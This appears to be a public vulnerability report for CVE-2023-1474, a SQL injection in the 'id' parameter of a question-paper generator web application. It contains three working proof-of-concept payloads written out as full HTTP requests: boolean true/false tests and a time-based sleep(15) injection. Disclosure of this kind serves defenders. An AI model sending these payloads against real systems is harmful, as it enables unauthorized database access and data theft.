Headline
CVE-2023-1474: bug_report/SQLi.md at main · 19FF/bug_report
A vulnerability classified as critical was found in SourceCodester Automatic Question Paper Generator System 1.0. This vulnerability affects unknown code of the file users/question_papers/manage_question_paper.php of the component GET Parameter Handler. The manipulation of the argument id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-223336.
BUG_Author:0019FF
Vulnerability File: /aqpg/users/question_papers/manage_question_paper.php
GET parameter ‘id’ exists SQL injection vulnerability
Payload1:id=1’ and 999=999 and 'o’=’o
GET /aqpg/users/question_papers/manage_question_paper.php?id=1%27%20and%20999=999%20and%20%27o%27=%27o HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=gqm4opdrfvm9njhrtmcivvn20b
Connection: close
The sql statement is executed correctly
Payload2:id=1’ and 999=996 and 'o’=’p
GET /aqpg/users/question_papers/manage_question_paper.php?id=1%27%20and%20999=996%20and%20%27o%27=%27p HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=gqm4opdrfvm9njhrtmcivvn20b
Connection: close
The sql statement was executed incorrectly, causing the page not to be echoed normally
Payload3:id=1’ and (select 9 from (select(sleep(15)))b) and 't’=’t
GET /aqpg/users/question_papers/manage_question_paper.php?id=1%27%20and%20(select%209%20from%20(select(sleep(15)))b)%20and%20%27t%27=%27t HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=gqm4opdrfvm9njhrtmcivvn20b
Connection: close
The server response time is 15 seconds